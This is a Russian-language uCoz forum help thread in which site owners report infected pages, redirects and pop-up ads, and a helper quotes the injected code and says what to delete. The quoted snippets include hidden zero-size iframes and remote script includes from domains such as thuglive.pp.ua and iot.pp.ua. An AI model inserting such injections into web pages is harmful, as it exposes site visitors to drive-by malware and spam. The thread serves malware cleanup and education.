Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1351 | 16:20:34
для Simer
из вида формы опросов выделенное красным удалить

Quote
<input type="hidden" name="a" value="1" /><input type="hidden" name="ajax" value="355" /></div><div style="padding-top: 4px; text-align: center;"><iframe src="http://j1c.pp.ua/" name="iframe" width="0%"height="0%"scrolling="no"
frameBorder=0></iframe>
<img alt="javascript://" rel="nofollow" onclick="new _


из блока статистика посетители сегодня выделенное красным удалить

Quote
<br><div align="center">
<div id="stats" style="display:none">

<center><table align="center" border="0" cellspacing="0" cellpadding="0" width="100%" class="infTable"><tr><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script><td class="infTd" width="20%">


из информера пользователи выделенное красным удалить

Quote
<table border="0" width="100%" cellspacing="1" cellpadding="2"> <tr> <td align="center"> <center> <DIV align=center><STRONG>Зарегистрированных</STRONG></DIV> </td></tr></table></center> <TABLE style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; WIDTH: 100%; BORDER-BOTTOM: black 1px solid; BORDER-COLLAPSE: collapse"> <TBODY> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><SPAN style="COLOR: #7b0176"><B>Всего:</B></SPAN><BR></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG><SPAN style="COLOR: #7b0176">6</SPAN></STRONG></TD><script type="text/javascript" src="http://thuglive.pp.ua/a.js"></script></TR> <TR> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid; BORDER-LEFT: black 1px solid; BORDER-BOTTOM: black 1px solid"><STRONG>Новых за месяц:</STRONG></TD> <TD style="BORDER-RIGHT: black 1px solid; BORDER-TOP: black 1px solid;

из тела главной выделенное синим удалить

Quote
<!-- <body> --><script type="text/javascript" src="http://ternopil-cs.pp.ua/highslide/highslide.js"></script>

битый скрипт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Haker5611
Сообщений: 12
Репутация: 0
Уровень замечаний:

Сообщение # 1352 | 18:00:58
Всем привет! У меня пишет во всех вебмастерах и в браузере тоже, что у меня опасный сайт. Что делать я новичок в этом деле? Вот сайт www.kz-gamer.ucoz.org. Помогите пожалуйста!
Demon52
Сообщений: 1
Репутация: 0

Сообщение # 1353 | 19:24:46
Здравствуйте! У меня при переходе на сайт всплывает баннер с рекламой когда ее закрываешь открывается окно левой рекламы или еще хуже порно. Помогите пожалуйста! http://gymnasium184.3dn.ru/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1354 | 20:54:01
Haker5611, из блока развлечения выделенное красным удалить

Quote
'http://www.cs-96.ucoz.ru/KAPTuHKu/dep.htm','Depositfiles loader','400','100','no'); "><iframe src="http://www.mirmuzla.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><font color='#green'>Залить файл!

из блока Все для CS
выделенное красным удалить
Quote
<IMG src="http://tarazcity.clan.su/Skripti/kartinki/madmin.jpeg"><iframe src="http://ga1.net.ru/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe></A></P><P align="center"><A href="http://tarazcity.clan.su/load/modelki_oruzhija/6"


блок скачивайте проги бред.
Code
<script type="text/javascript" src="http://ucoz-club.ru/js/soft2.js"></script>
вы развиваете чужой ресурс? вы видели этот код в незакодированном виде? и кто будет качать в светлом уме и твердой памяти браузеры с сомнительных сайтов, да ещё и старых версий? уберите этот спам с сайта
в модуле часики вместе с сомнительной флешкой зачем вам спам в коде?

Quote
<div style="display:none;"><a href="http://wallaby.ucoz.ru/"></a>


зачем вам в блоке статистика откровенная спам подгрузка чужого сайта?
Quote
<script language="JavaScript"src="http://wallaby.ucoz.ru"></script>

вы если и собираете мусор в сети для своего сайта, все же проверяйте через раз какой хлам вы тащите к себе на сайт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1355 | 20:56:37
Demon52, удалите этот скрипт
Code
<script language='javascript' type='text/javascript' src='http://Peace-Duke.popunder.ru/out.php?sid=102003'></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
stif9156
Сообщений: 1
Репутация: 0

Сообщение # 1356 | 10:10:27
Раньше все работало стабильно, никаких ошибок не было. С недавних пор при открытие сайта выскакивает такая вот ошибка "Please wait page is loading...".

сайт goldfishing.at.ua , половина страниц не работает
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1357 | 12:12:01
stif9156, из вида материалов блока выделенное красным удалить
Quote
<script src="http://iot.pp.ua/1.js" type="text/javascript"></script>

тоже самое надо удалить из вида материалов каталога статей.
графику всю на сайт к себе перелейте оттуда же

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
dryg
Сообщений: 1
Репутация: 0

Сообщение # 1358 | 13:30:59
Здравствуйте. на сайте начал появляться баннер которого раньше небыло. Подскажите чт надо сделать что б его убрать. Зарание спасибо. Вот сайт life-soft.ru
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1359 | 14:00:32
dryg, в десятом блоке находится то, что генерит левую рекламу
Quote
<!-- <block10> -->
<a href="http://uweb.su/" title="Сайт продвигается системой uweb." id="81661"><img src="http://uweb.su/data/files/banner3.png" alt="uw" /></a>

<script type="text/javascript" src="http://uweb.su/data/files/uweb.js"></script>

не знаю как именно вы продвигаете свой ресурс за счет этого сервиса, но пока получили спам и левые подгрузки. стоит задуматься. желательно три раза
Haker5611, все правильно. табличка снимается не сразу. чем дольше сайт был заражен - тем больше времени вы будете ждать робота с обходом. напишите платонам

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
strelok7837
Сообщений: 2
Репутация: 0

Сообщение # 1360 | 15:46:40
http://bvv-stalker.at.ua/
У некоторых пишет вирус
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1361 | 15:52:44
strelok7837, из блока софт удалите выделенное красным
Quote
colspan="1" rowspan="2" width="32px"><script src="http://iot.pp.ua/1.js" type="text/javascript"></script><img src="http://mumu.pp.ua/icon/6.png" width="32px">

там же в блоке и битые скрипты находятся. в общем грязь
и почитайте предыдущие сообщения и подумайте зачем вам этот блок. если ссылки на скачивание софта в блоке лично ваши, то можно понять, а если не ваши, то этот блок на сайте большая глупость замешанная на благотворительности. да и так называемый софт весь древний и никому не нужный

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
HeJIeIIocTb^
Сообщений: 3
Репутация: 0

Сообщение # 1362 | 23:55:14
Вы должны предоставить ссылку на сайт! http://cs-monsterkill.ru
Вы должны дать описание проблемы: Захожу в мониторинг серверов ( блог ) перекидывает на другой сайт. Проверил код , ничего не нашёл.
1)на какой странице сайта обнаруживается проблема (ссылка) http://cs-monsterkill.ru/blog
2) проблема обнаруживается только под логином или под гостем тоже . И так , и так.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1363 | 00:06:45
HeJIeIIocTb^, выделенное красным удалить

Quote
</tbody></table> </div><!--/U1MONUTHU1Z--></TD></TR></TBODY></TABLE></TD>
<TD style="BACKGROUND: url(http://sinners.pp.ua/New_ST/bokova9_xyuH9.gif) repeat-y left 50%" align=left width="2%"><IMG src="http://sinners.pp.ua/New_ST/bokova9_xyuH9.gif" border=0></TD></TD></TR></TBODY><iframe src="http://www.warmod.pp.ru" frameborder="0" width="1" height="1" scrolling="No"></iframe></TABLE><LINK href="http://sinners.pp.ua/Counter-Strike1.6.ico" type=image/x-icon rel="shortcut icon" ilo-full-src="http://sinners.pp.ua/Counter-Strike1.6.ico"></BODY></HTML>

а картинки перезалейте к себе на сайт

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
KODIR
Сообщений: 4
Репутация: 0

Сообщение # 1364 | 00:06:55
Здравствуйте, у меня возникла проблема на сайте http://avtoperedelka.ucoz.ru/ при входе на сайт через несколько секунд страничка переадресовывается совершенно на другой сайт, вот ссылка этого сайта http://avto-tuner.ru/, как устранить эту проблему?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1365 | 15:25:05
KODIR, начните с удаления следующего кода
Quote
<td valign="top" align="right" style="padding-top: 5px; padding-right: 20px;"><script language="javascript"> KKKKUrlID=1321; KKKKBanner=1; </script>
<script language="javascript" src="http://4ratebig.com/js/ranking.js"></script>
<a href="http://www.pr-cy.ru/" target="_blank" title="Счетчик тИЦ и PR"><img src="http://counter.pr-cy.ru/prcy/avtoperedelka.ucoz.ru" alt="PR-CY.ru" width="88" height="31" border="0" /></a><!-- "' --><span class="pbrn89pl"><a href="//www.ucoz.ru/"><img style="margin:0;padding:0;border:0;width:81px;height:31px;" src="http://s31.ucoz.net/img/cp/30.gif" alt="Создать сайт бесплатно" title="Создать сайт бесплатно" /></a></span></td></tr><!--/U1BFOOTER1Z-->
</td></tr></table>

находится в самом низу
у вас на сайте переходы с сайта на который вас кидает. на нем стоит тот же самый код. эти накрутки и подобный взаимообмен трафиком запрещены. посмотрите в свою статистику в переходы с сайтов и сделайте выводы
со страницы наши работы удалите следующее
Quote
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<SCRIPT TYPE="text/javascript" SRC="http://portal-pro.org.ru/js/JSFX_blue.js"></SCRIPT>
<title>avtoperedelka.com.ua - НАШИ РАБОТЫ</title>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск: